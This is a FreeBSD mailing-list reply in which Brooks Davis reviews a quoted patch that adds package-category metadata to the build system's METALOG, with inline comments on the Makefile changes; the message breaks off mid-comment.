Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 588DD61E for ; Thu, 10 Jul 2014 15:35:33 +0000 (UTC) Received: from lor.one-eyed-alien.net (lor.one-eyed-alien.net [69.66.77.232]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CC43126E0 for ; Thu, 10 Jul 2014 15:35:32 +0000 (UTC) Received: from lor.one-eyed-alien.net (localhost [127.0.0.1]) by lor.one-eyed-alien.net (8.14.7/8.14.7) with ESMTP id s6AFZUEV016653; Thu, 10 Jul 2014 10:35:31 -0500 (CDT) (envelope-from brooks@lor.one-eyed-alien.net) Received: (from brooks@localhost) by lor.one-eyed-alien.net (8.14.7/8.14.7/Submit) id s6AFZUD2016652; Thu, 10 Jul 2014 10:35:30 -0500 (CDT) (envelope-from brooks) Date: Thu, 10 Jul 2014 10:35:30 -0500 From: Brooks Davis To: Sean Fagan Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-ID: <20140710153530.GA16174@lor.one-eyed-alien.net> References: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="rwEMma7ioTxnRzrJ" Content-Disposition: inline In-Reply-To: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 15:35:33 -0000 --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jul 09, 2014 at 04:33:42PM -0700, Sean Fagan wrote: > We've been looking at some significant changes to how we distribute and u= pdate FreeNAS; one of the things I've done is take the NO_ROOT build change= s, and expand upon them to have categories. >=20 > I'd like to say I went for minimal changes here, but mostly what I was go= ing for was minimal work on my part. However, this seems to mostly work; t= he METALOG that gets generated has lines such as >=20 > ./bin/cat type=3Dfile uname=3Droot gname=3Dwheel mode=3D0555 size=3D1152= 0 category=3Dbase >=20 > and I've written a python script that will take that METALOG, and create = PKGNG-style packages from it. (This may be more useful for things like "ca= tegory=3Ddev", or "secure".) I did have to change xinstall a bit to handle= this, and I also changed how it handled hard links for the metalog. >=20 > Any comments on this? More importantly, any interest in it? I very much like the functionalty and think it's a good idea. I don't understand why you didn't use the existing -T/tags=3D mechanism in install which we're already using for debug info. A other comments inline below. Thanks for doing this! -- Brooks > (Note that I am not subscribed to the list from this address, so if you r= espond to the list, I may follow up from a different address :).) >=20 > diff --git a/Makefile.inc1 b/Makefile.inc1 > index c0591b6..b9edd0d 100644 > --- a/Makefile.inc1 > +++ b/Makefile.inc1 > @@ -14,6 +14,7 @@ > # -DNO_KERNELOBJ do not run ${MAKE} obj in ${MAKE} buildkernel > # -DNO_PORTSUPDATE do not update ports in ${MAKE} update > # -DNO_ROOT install without using root privilege > +# -DLOG_META_INFO Log metadata about installed files I don't see much value in supporting the metadata log in the install as root case. Is there are reason it's needed? > # -DNO_DOCUPDATE do not update doc in ${MAKE} update > # -DNO_CTF do not run the DTrace CTF conversion tools on built objects > # LOCAL_DIRS=3D"list of dirs" to add additional dirs to the SUBDIR list > @@ -271,7 +272,7 @@ WMAKEENV=3D ${CROSSENV} \ > =20 > # make hierarchy > HMAKE=3D PATH=3D${TMPPATH} ${MAKE} LOCAL_MTREE=3D${LOCAL_MTREE} > -.if defined(NO_ROOT) > +.if defined(NO_ROOT) || defined(LOG_META_INFO) > HMAKE+=3D PATH=3D${TMPPATH} METALOG=3D${METALOG} -DNO_ROOT > .endif > =20 > @@ -333,6 +334,10 @@ LIB32WMAKEENV+=3D MAKEOBJDIRPREFIX=3D${OBJTREE}/lib3= 2 \ > LIBDIR=3D/usr/lib32 \ > SHLIBDIR=3D/usr/lib32 \ > COMPILER_TYPE=3D${WMAKE_COMPILER_TYPE} > +.if defined(LOG_META_INFO) || defined(NO_ROOT) > +LIB32WMAKEENV+=3D META_CATEGORY=3Dcompat32 > +.endif > + > LIB32WMAKEFLAGS+=3D \ > CC=3D"${CC} ${LIB32FLAGS}" \ > CXX=3D"${CXX} ${LIB32FLAGS}" \ > @@ -364,14 +369,21 @@ IMAKEENV+=3D PATH=3D${TMPPATH}:${INSTALLTMP} > INSTALLFLAGS+=3D -N ${.CURDIR}/etc > MTREEFLAGS+=3D -N ${.CURDIR}/etc > .endif > -.if defined(NO_ROOT) > +.if defined(NO_ROOT) || defined(LOG_META_INFO) > METALOG?=3D ${DESTDIR}/${DISTDIR}/METALOG > -IMAKE+=3D -DNO_ROOT METALOG=3D${METALOG} > -INSTALL_DDIR=3D ${DESTDIR}/${DISTDIR} > -INSTALLFLAGS+=3D -U -M ${METALOG} -D ${INSTALL_DDIR:S://:/:g:C:/$::} > +. if defined(NO_ROOT) > +IMAKE+=3D -DNO_ROOT > +INSTALLFLAGS+=3D -U > MTREEFLAGS+=3D -W > +. endif > +. if defined(LOG_META_INFO) > +IMAKE+=3D -DLOG_META_INFO > +. endif > +IMAKE+=3D METALOG=3D${METALOG} > +INSTALL_DDIR=3D ${DESTDIR}/${DISTDIR} > +INSTALLFLAGS+=3D -M ${METALOG} -D ${INSTALL_DDIR:S://:/:g:C:/$::} > .endif > -.if defined(DB_FROM_SRC) || defined(NO_ROOT) > +.if defined(DB_FROM_SRC) || defined(NO_ROOT) || defined(LOG_META_INFO) > IMAKE_INSTALL=3D INSTALL=3D"install ${INSTALLFLAGS}" > IMAKE_MTREE=3D MTREE_CMD=3D"nmtree ${MTREEFLAGS}" > .endif > @@ -739,7 +751,7 @@ distributeworld installworld: installcheck installche= ck_UGID > done); \ > cp $$libs $$progs ${INSTALLTMP} > cp -R $${PATH_LOCALE:-"/usr/share/locale"} ${INSTALLTMP}/locale > -.if defined(NO_ROOT) > +.if defined(NO_ROOT) || defined(LOG_META_INFO) > echo "#${MTREE_MAGIC}" > ${METALOG} > .endif > .if make(distributeworld) > @@ -755,7 +767,8 @@ distributeworld installworld: installcheck installche= ck_UGID > mtree -deU -f ${.CURDIR}/etc/mtree/BSD.debug.dist \ > -p ${DESTDIR}/${DISTDIR}/${dist}/usr/lib >/dev/null > .endif > -.if defined(NO_ROOT) > +.if defined(NO_ROOT) || defined(LOG_META_INFO) > + echo bar > ${IMAKEENV} nmtree -C -f ${.CURDIR}/etc/mtree/BSD.root.dist | \ > sed -e 's#^\./#./${dist}/#' >> ${METALOG} > ${IMAKEENV} nmtree -C -f ${.CURDIR}/etc/mtree/BSD.usr.dist | \ > @@ -766,7 +779,7 @@ distributeworld installworld: installcheck installche= ck_UGID > .endfor > -mkdir ${DESTDIR}/${DISTDIR}/base > cd ${.CURDIR}/etc; ${CROSSENV} PATH=3D${TMPPATH} ${MAKE} \ > - METALOG=3D${METALOG} ${IMAKE_INSTALL} ${IMAKE_MTREE} \ > + METALOG=3D${METALOG} META_CATEGORY=3Dbase ${IMAKE_INSTALL} ${IMAKE_= MTREE} \ > DISTBASE=3D/base DESTDIR=3D${DESTDIR}/${DISTDIR}/base \ > LOCAL_MTREE=3D${LOCAL_MTREE} distrib-dirs > .endif > @@ -987,7 +1000,7 @@ reinstallkernel reinstallkernel.debug: installcheck > @echo ">>> Installing kernel ${INSTALLKERNEL}" > @echo "--------------------------------------------------------------" > cd ${KRNLOBJDIR}/${INSTALLKERNEL}; \ > - ${CROSSENV} PATH=3D${TMPPATH} \ > + ${CROSSENV} PATH=3D${TMPPATH} META_CATEGORY=3D"kernel" \ > ${MAKE} ${IMAKE_INSTALL} KERNEL=3D${INSTKERNNAME} ${.TARGET:S/kerne= l//} > =20 > distributekernel distributekernel.debug: > diff --git a/bin/Makefile b/bin/Makefile > index e5052ca..ca218ac 100644 > --- a/bin/Makefile > +++ b/bin/Makefile > @@ -1,6 +1,9 @@ > # From: @(#)Makefile 8.1 (Berkeley) 5/31/93 > # $FreeBSD$ > =20 > +META_CATEGORY=3D base I belive this should be in bin/Makefile.inc which will eliminate the need for .EXPORTVAR. > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D cat \ > diff --git a/etc/Makefile b/etc/Makefile > index 7a805ae..5284d29 100644 > --- a/etc/Makefile > +++ b/etc/Makefile > @@ -1,6 +1,9 @@ > # from: @(#)Makefile 5.11 (Berkeley) 5/21/91 > # $FreeBSD$ > =20 > +META_CATEGORY=3Dbase > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > .if ${MK_SENDMAIL} !=3D "no" > @@ -209,12 +212,12 @@ distribution: > .endif > pwd_mkdb ${PWD_MKDB_ENDIAN} -i -p -d ${DESTDIR}/etc \ > ${DESTDIR}/etc/master.passwd > -.if defined(NO_ROOT) > +.if defined(NO_ROOT) || defined(LOG_META_INFO) > ( \ > - echo "./etc/login.conf.db type=3Dfile mode=3D0644 uname=3Droot gname= =3Dwheel"; \ > - echo "./etc/passwd type=3Dfile mode=3D0644 uname=3Droot gname=3Dwheel"= ; \ > - echo "./etc/pwd.db type=3Dfile mode=3D0644 uname=3Droot gname=3Dwheel"= ; \ > - echo "./etc/spwd.db type=3Dfile mode=3D0600 uname=3Droot gname=3Dwheel= "; \ > + echo "./etc/login.conf.db type=3Dfile mode=3D0644 uname=3Droot gname= =3Dwheel category=3Dbase"; \ > + echo "./etc/passwd type=3Dfile mode=3D0644 uname=3Droot gname=3Dwheel = category=3Dbase"; \ > + echo "./etc/pwd.db type=3Dfile mode=3D0644 uname=3Droot gname=3Dwheel = category=3Dbase"; \ > + echo "./etc/spwd.db type=3Dfile mode=3D0600 uname=3Droot gname=3Dwheel= category=3Dbase"; \ > ) | ${METALOG.add} > .endif > .if ${MK_BLUETOOTH} !=3D "no" > @@ -346,6 +349,9 @@ distrib-dirs: ${MTREES:N/*} > .if defined(NO_ROOT) > @set ${MTREES}; \ > while test $$# -ge 2; do \ > + p=3D"category=3Dbase"; \ > + test "$$1" =3D=3D BSD.include.dist && p=3D"category=3Ddev" ; \ > + test "$$1" =3D=3D BSD.groff.dist && p=3D"category=3Ddoc" ; \ > m=3D${.CURDIR}/$$1; \ > shift; \ > d=3D$$1; \ > @@ -353,8 +359,8 @@ distrib-dirs: ${MTREES:N/*} > d=3D${DISTBASE}$$d; \ > shift; \ > ${ECHO} "${MTREE_CMD:N-W} -C -f $$m -K uname,gname | " \ > - "sed s#^\.#.$$d# | ${METALOG.add}" ; \ > - ${MTREE_CMD:N-W} -C -f $$m -K uname,gname | sed s#^\.#.$$d# | \ > + "sed -e s#^\.#.$$d# -e \"s#\$$# $$p#\" | ${METALOG.add}" ; \ > + ${MTREE_CMD:N-W} -C -f $$m -K uname,gname | sed -e s#^\.#.$$d# -e "s#\= $$# $$p#" | \ > ${METALOG.add} ; \ > done; true > .endif > diff --git a/gnu/lib/Makefile b/gnu/lib/Makefile > index c33cef6..c2a6af4 100644 > --- a/gnu/lib/Makefile > +++ b/gnu/lib/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3D base > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D csu libgcc libgcov libdialog libgomp libodialog libregex libre= adline \ > diff --git a/gnu/usr.bin/cc/Makefile b/gnu/usr.bin/cc/Makefile > index efb548a..be673bc 100644 > --- a/gnu/usr.bin/cc/Makefile > +++ b/gnu/usr.bin/cc/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3Ddev > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > # The order of some of these are rather important. Some depend on previ= ous > diff --git a/include/Makefile b/include/Makefile > index 0328e70..1c924bf 100644 > --- a/include/Makefile > +++ b/include/Makefile > @@ -3,6 +3,9 @@ > # > # Doing a "make install" builds /usr/include. > =20 > +META_CATEGORY=3D dev > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > CLEANFILES=3D osreldate.h version vers.c > diff --git a/lib/Makefile b/lib/Makefile > index 32a620d..aacc93b 100644 > --- a/lib/Makefile > +++ b/lib/Makefile > @@ -1,6 +1,9 @@ > # @(#)Makefile 8.1 (Berkeley) 6/4/93 > # $FreeBSD$ > =20 > +META_CATEGORY=3D base > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > # To satisfy shared library or ELF linkage when only the libraries being > diff --git a/lib/clang/Makefile b/lib/clang/Makefile > index 6bc9552..e80193a 100644 > --- a/lib/clang/Makefile > +++ b/lib/clang/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3Ddev > +.EXPORT_VAR: META_CATEGORY > + > .include > =20 > .if !make(install) > diff --git a/lib/csu/amd64/Makefile b/lib/csu/amd64/Makefile > index afe7fe6..5616e04 100644 > --- a/lib/csu/amd64/Makefile > +++ b/lib/csu/amd64/Makefile > @@ -9,6 +9,9 @@ CFLAGS+=3D -I${.CURDIR}/../common \ > -I${.CURDIR}/../../libc/include > CFLAGS+=3D -fno-omit-frame-pointer > =20 > +META_CATEGORY=3D base > +.EXPORTVAR: META_CATEGORY > + I think the .EXPORTVAR is gratutious here and in the other lib/*/Makefiles. For that matter, I don't understand why it's needed at all given the presence of META_CATEGORY in lib/Makefile. > all: ${OBJS} > =20 > CLEANFILES=3D ${OBJS} > @@ -39,7 +42,7 @@ Scrt1.o: Scrt1.s > ${CC} ${ACFLAGS} -c -o ${.TARGET} Scrt1.s > =20 > realinstall: > - ${INSTALL} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > + ${INSTALL} -P ${META_CATEGORY} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > ${OBJS} ${DESTDIR}${LIBDIR} > =20 > .include > diff --git a/lib/libc/Makefile b/lib/libc/Makefile > index 77c7ce0..ad27971 100644 > --- a/lib/libc/Makefile > +++ b/lib/libc/Makefile > @@ -1,6 +1,9 @@ > # @(#)Makefile 8.2 (Berkeley) 2/3/94 > # $FreeBSD$ > =20 > +META_CATEGORY?=3D base > +.EXPORTVAR: META_CATEGORY > + > SHLIBDIR?=3D /lib > =20 > .include > @@ -9,6 +12,7 @@ SHLIBDIR?=3D /lib > # named MACHINE_CPUARCH, but some ABIs are different enough to require > # their own libc, so allow a directory named MACHINE_ARCH to override th= is. > =20 > + > .if exists(${.CURDIR}/${MACHINE_ARCH}) > LIBC_ARCH=3D${MACHINE_ARCH} > .else > diff --git a/lib/libelf/Makefile b/lib/libelf/Makefile > index fe921cb..9178c36 100644 > --- a/lib/libelf/Makefile > +++ b/lib/libelf/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3D base > +.EXPORTVAR: META_CATEGORY > + > LIB=3D elf > =20 > SRCS=3D elf_begin.c \ > diff --git a/lib/libkvm/Makefile b/lib/libkvm/Makefile > index 1250bf7..a611a5f 100644 > --- a/lib/libkvm/Makefile > +++ b/lib/libkvm/Makefile > @@ -1,6 +1,9 @@ > # @(#)Makefile 8.1 (Berkeley) 6/4/93 > # $FreeBSD$ > =20 > +META_CATEGORY=3D base > +.EXPORTVAR: META_CATEGORY > + > LIB=3D kvm > SHLIBDIR?=3D /lib > CFLAGS+=3D-DLIBC_SCCS -I${.CURDIR} > diff --git a/libexec/Makefile b/libexec/Makefile > index 78953b4..4d43a92 100644 > --- a/libexec/Makefile > +++ b/libexec/Makefile > @@ -1,6 +1,9 @@ > # @(#)Makefile 8.1 (Berkeley) 6/4/93 > # $FreeBSD$ > =20 > +META_CATEGORY=3Dbase > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D ${_atrun} \ > diff --git a/rescue/Makefile b/rescue/Makefile > index 0945ed3..685af4d 100644 > --- a/rescue/Makefile > +++ b/rescue/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3Drescue > +.EXPORTVAR: META_CATEGORY > + > SUBDIR=3D librescue \ > rescue > =20 > diff --git a/sbin/Makefile b/sbin/Makefile > index f9ba4ca..33603cf 100644 > --- a/sbin/Makefile > +++ b/sbin/Makefile > @@ -1,6 +1,9 @@ > # @(#)Makefile 8.5 (Berkeley) 3/31/94 > # $FreeBSD$ > =20 > +META_CATEGORY=3D base > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > # XXX MISSING: icheck ncheck > diff --git a/secure/Makefile b/secure/Makefile > index 7342709..d870cc0 100644 > --- a/secure/Makefile > +++ b/secure/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3D secure > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D lib libexec usr.bin usr.sbin > diff --git a/share/Makefile b/share/Makefile > index 3e613d6..8b51bd2 100644 > --- a/share/Makefile > +++ b/share/Makefile > @@ -1,6 +1,9 @@ > # @(#)Makefile 8.1 (Berkeley) 6/5/93 > # $FreeBSD$ > =20 > +META_CATEGORY=3Dbase > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > # Do not include `info' in the SUBDIR list, it is handled separately. > diff --git a/share/dtrace/Makefile b/share/dtrace/Makefile > index adbdc84..44514c0 100644 > --- a/share/dtrace/Makefile > +++ b/share/dtrace/Makefile > @@ -4,6 +4,9 @@ > # the DTraceToolkit. > # > =20 > +META_CATEGORY=3Ddtrace > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D ${_toolkit} > diff --git a/share/man/man9/Makefile b/share/man/man9/Makefile > index dfa450e8..268ce8a 100644 > --- a/share/man/man9/Makefile > +++ b/share/man/man9/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3D kernel I can see some loging in this, but it seems like a somewhat odd choice. > +.EXPORTVAR: META_CATEGORY > + > MAN=3D accept_filter.9 \ > accf_data.9 \ > accf_dns.9 \ > diff --git a/share/mk/bsd.incs.mk b/share/mk/bsd.incs.mk > index 74c378b..24559d6 100644 > --- a/share/mk/bsd.incs.mk > +++ b/share/mk/bsd.incs.mk > @@ -8,6 +8,14 @@ > =20 > INCSGROUPS?=3D INCS > =20 > +.if defined(NO_ROOT) || defined(LOG_META_INFO) > +.if defined(META_CATEGORY) > +_META_INC=3D -P ${META_CATEGORY}:dev > +.else > +_META_INC=3D -P dev > +.endif > +.endif > + > .if !target(buildincludes) > .for group in ${INCSGROUPS} > buildincludes: ${${group}} > @@ -39,9 +47,10 @@ ${group}NAME_${header:T}?=3D ${${group}NAME} > .else > ${group}NAME_${header:T}?=3D ${header:T} > .endif > + > installincludes: _${group}INS_${header:T} > _${group}INS_${header:T}: ${header} > - ${INSTALL} -C -o ${${group}OWN_${.ALLSRC:T}} \ > + ${INSTALL} ${_META_INC} -C -o ${${group}OWN_${.ALLSRC:T}} \ > -g ${${group}GRP_${.ALLSRC:T}} -m ${${group}MODE_${.ALLSRC:T}} \ > ${.ALLSRC} \ > ${DESTDIR}${${group}DIR_${.ALLSRC:T}}/${${group}NAME_${.ALLSRC:T}} > @@ -53,10 +62,11 @@ _${group}INCS+=3D ${header} > installincludes: _${group}INS > _${group}INS: ${_${group}INCS} > .if defined(${group}NAME) > - ${INSTALL} -C -o ${${group}OWN} -g ${${group}GRP} -m ${${group}MODE} \ > + ${INSTALL} ${_META_INC} -C -o ${${group}OWN} -g ${${group}GRP} -m ${${g= roup}MODE} \ > ${.ALLSRC} ${DESTDIR}${${group}DIR}/${${group}NAME} > .else > - ${INSTALL} -C -o ${${group}OWN} -g ${${group}GRP} -m ${${group}MODE} \ > + echo WHERE ARE ${_META_INC} YOU=20 > + ${INSTALL} ${_META_INC} -C -o ${${group}OWN} -g ${${group}GRP} -m ${${g= roup}MODE} \ > ${.ALLSRC} ${DESTDIR}${${group}DIR} > .endif > .endif > @@ -73,7 +83,7 @@ installincludes: > t=3D${DESTDIR}$$1; \ > shift; \ > ${ECHO} $$t -\> $$l; \ > - ${INSTALL_SYMLINK} $$l $$t; \ > + ${INSTALL_SYMLINK} ${_META_INC} $$l $$t; \ > done; true > .endif > .endif # !target(installincludes) > diff --git a/share/mk/bsd.lib.mk b/share/mk/bsd.lib.mk > index b8b886a..2e6fa26 100644 > --- a/share/mk/bsd.lib.mk > +++ b/share/mk/bsd.lib.mk > @@ -285,28 +285,36 @@ _SHLINSTALLFLAGS:=3D ${SHLINSTALLFLAGS} > _SHLINSTALLFLAGS:=3D ${_SHLINSTALLFLAGS${ie}} > .endfor > =20 > +.if defined(META_CATEGORY) > +_PKG_FLAGS=3D -P ${META_CATEGORY} > +_DEV_PKG_FLAGS=3D -P ${META_CATEGORY}:dev > +.else > +_PKG_FLAGS=3D > +_DEV_PKG_FLAGS=3D > +.endif > + > .if !defined(INTERNALLIB) > realinstall: _libinstall > .ORDER: beforeinstall _libinstall > _libinstall: > .if defined(LIB) && !empty(LIB) && ${MK_INSTALLLIB} !=3D "no" > ${INSTALL} -C -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > - ${_INSTALLFLAGS} lib${LIB}.a ${DESTDIR}${LIBDIR} > + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} lib${LIB}.a ${DESTDIR}${LIBDIR} > .endif > .if ${MK_PROFILE} !=3D "no" && defined(LIB) && !empty(LIB) > ${INSTALL} -C -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > - ${_INSTALLFLAGS} lib${LIB}_p.a ${DESTDIR}${LIBDIR} > + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} lib${LIB}_p.a ${DESTDIR}${LIBDIR} > .endif > .if defined(SHLIB_NAME) > ${INSTALL} ${STRIP} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > - ${_INSTALLFLAGS} ${_SHLINSTALLFLAGS} \ > + ${_INSTALLFLAGS} ${_PKG_FLAGS} ${_SHLINSTALLFLAGS} \ > ${SHLIB_NAME} ${DESTDIR}${SHLIBDIR} > .if ${MK_DEBUG_FILES} !=3D "no" > .if defined(DEBUGMKDIR) > ${INSTALL} -T debug -d ${DESTDIR}${DEBUGFILEDIR} > .endif > ${INSTALL} -T debug -o ${LIBOWN} -g ${LIBGRP} -m ${DEBUGMODE} \ > - ${_INSTALLFLAGS} \ > + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} \ > ${SHLIB_NAME}.debug ${DESTDIR}${DEBUGFILEDIR} > .endif > .if defined(SHLIB_LINK) > @@ -332,12 +340,12 @@ _libinstall: > -e 's,@@LIBDIR@@,${_LDSCRIPTROOT}${LIBDIR},g' \ > ${.CURDIR}/${SHLIB_LDSCRIPT} > lib${LIB}.ld > ${INSTALL} -S -C -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > - ${_INSTALLFLAGS} lib${LIB}.ld ${DESTDIR}${LIBDIR}/${SHLIB_LINK} > + ${_INSTALLFLAGS} ${_PKG_FLAGS} lib${LIB}.ld ${DESTDIR}${LIBDIR}/${S= HLIB_LINK} > .else > .if ${SHLIBDIR} =3D=3D ${LIBDIR} > - ${INSTALL_SYMLINK} ${SHLIB_NAME} ${DESTDIR}${LIBDIR}/${SHLIB_LINK} > + ${INSTALL_SYMLINK} ${_PKG_FLAGS} ${SHLIB_NAME} ${DESTDIR}${LIBDIR}/${SH= LIB_LINK} > .else > - ${INSTALL_SYMLINK} ${_SHLIBDIRPREFIX}${SHLIBDIR}/${SHLIB_NAME} \ > + ${INSTALL_SYMLINK} ${_PKG_FLAGS} ${_SHLIBDIRPREFIX}${SHLIBDIR}/${SHLIB_= NAME} \ > ${DESTDIR}${LIBDIR}/${SHLIB_LINK} > .if exists(${DESTDIR}${LIBDIR}/${SHLIB_NAME}) > -chflags noschg ${DESTDIR}${LIBDIR}/${SHLIB_NAME} > @@ -349,11 +357,11 @@ _libinstall: > .endif # SHIB_NAME > .if defined(INSTALL_PIC_ARCHIVE) && defined(LIB) && !empty(LIB) && ${MK_= TOOLCHAIN} !=3D "no" > ${INSTALL} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > - ${_INSTALLFLAGS} lib${LIB}_pic.a ${DESTDIR}${LIBDIR} > + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} lib${LIB}_pic.a ${DESTDIR}${LIBD= IR} > .endif > .if defined(WANT_LINT) && !defined(NO_LINT) && defined(LIB) && !empty(LI= B) > ${INSTALL} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ > - ${_INSTALLFLAGS} ${LINTLIB} ${DESTDIR}${LINTLIBDIR} > + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} ${LINTLIB} ${DESTDIR}${LINTLIBDI= R} > .endif > .endif # !defined(INTERNALLIB) > =20 > diff --git a/share/mk/bsd.links.mk b/share/mk/bsd.links.mk > index 1e4d57e..c9f83f0 100644 > --- a/share/mk/bsd.links.mk > +++ b/share/mk/bsd.links.mk > @@ -8,7 +8,8 @@ afterinstall: _installlinks > .ORDER: realinstall _installlinks > _installlinks: > .if defined(LINKS) && !empty(LINKS) > - @set ${LINKS}; \ > + @echo LINKFOO > + set ${LINKS}; \ This looks like a debug leftover. > while test $$# -ge 2; do \ > l=3D${DESTDIR}$$1; \ > shift; \ > @@ -19,7 +20,8 @@ _installlinks: > done; true > .endif > .if defined(SYMLINKS) && !empty(SYMLINKS) > - @set ${SYMLINKS}; \ > + @echo SYMFOO > + set ${SYMLINKS}; \ This too. > while test $$# -ge 2; do \ > l=3D$$1; \ > shift; \ > diff --git a/share/mk/bsd.man.mk b/share/mk/bsd.man.mk > index 6445ba3..6cbead4 100644 > --- a/share/mk/bsd.man.mk > +++ b/share/mk/bsd.man.mk > @@ -54,6 +54,11 @@ > .endif > =20 > MINSTALL?=3D ${INSTALL} -o ${MANOWN} -g ${MANGRP} -m ${MANMODE} > +.if (defined(NO_ROOT) || defined(LOG_META_INFO)) && defined(META_CATEGOR= Y) > +# Man pages go into the doc package, and the package specified. > +MINSTALL+=3D -P ${META_CATEGORY}:doc > +_META_INFO=3D -P ${META_CATEGORY}:doc > +.endif > =20 > CATDIR=3D ${MANDIR:H:S/$/\/cat/} > CATEXT=3D .cat > @@ -216,7 +221,7 @@ _maninstall: ${MAN} > t=3D${DESTDIR}${MANDIR}$${sect}${MANSUBDIR}/$$name; \ > ${ECHO} $${t}${ZEXT} -\> $${l}${ZEXT}; \ > rm -f $${t} $${t}${MCOMPRESS_EXT}; \ > - ${INSTALL_LINK} $${l}${ZEXT} $${t}${ZEXT}; \ > + ${INSTALL_LINK} ${_META_INFO} $${l}${ZEXT} $${t}${ZEXT}; \ > done > .if defined(MANBUILDCAT) && !empty(MANBUILDCAT) > @set ${MLINKS:C/\.([^.]*)$/.\1 \1/}; \ > @@ -231,7 +236,7 @@ _maninstall: ${MAN} > t=3D${DESTDIR}${CATDIR}$${sect}${MANSUBDIR}/$$name; \ > ${ECHO} $${t}${ZEXT} -\> $${l}${ZEXT}; \ > rm -f $${t} $${t}${MCOMPRESS_EXT}; \ > - ${INSTALL_LINK} $${l}${ZEXT} $${t}${ZEXT}; \ > + ${INSTALL_LINK} ${_META_INFO} $${l}${ZEXT} $${t}${ZEXT}; \ > done > .endif > .endif > diff --git a/sys/Makefile b/sys/Makefile > index 74068d1..d5d84b3 100644 > --- a/sys/Makefile > +++ b/sys/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3D kernel > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > # The boot loader > diff --git a/sys/conf/kern.post.mk b/sys/conf/kern.post.mk > index 1de2e1e..46884de 100644 > --- a/sys/conf/kern.post.mk > +++ b/sys/conf/kern.post.mk > @@ -245,6 +245,10 @@ links: > sed 's,../.*/\(.*.o\),rm -f \1;ln -s ../GENERIC/\1 \1,' > makelinks > sh makelinks; rm -f dontlink > =20 > +.if defined(META_CATEGORY) > +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev > +.endif > + > kernel-tags: > @[ -f .depend ] || { echo "you must make depend first"; exit 1; } > sh $S/conf/systags.sh > @@ -272,7 +276,7 @@ kernel-install: > ${INSTALL} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} ${KERNEL_KO} ${DESTDIR= }${KODIR} > .if defined(DEBUG) && !defined(INSTALL_NODEBUG) && \ > (defined(MK_KERNEL_SYMBOLS) && ${MK_KERNEL_SYMBOLS} !=3D "no") > - ${INSTALL} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} ${KERNEL_KO}.symbols $= {DESTDIR}${KODIR} > + ${INSTALL} ${META_LOG_SYMBOLS} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} ${= KERNEL_KO}.symbols ${DESTDIR}${KODIR} > .endif > .if defined(KERNEL_EXTRA_INSTALL) > ${INSTALL} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} ${KERNEL_EXTRA_INSTALL= } ${DESTDIR}${KODIR} > diff --git a/sys/conf/kmod.mk b/sys/conf/kmod.mk > index cd11e3a..ea50d33 100644 > --- a/sys/conf/kmod.mk > +++ b/sys/conf/kmod.mk > @@ -68,6 +68,10 @@ KMODLOAD?=3D /sbin/kldload > KMODUNLOAD?=3D /sbin/kldunload > OBJCOPY?=3D objcopy > =20 > +.if defined(META_CATEGORY) > +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev There seem to be more spellings of 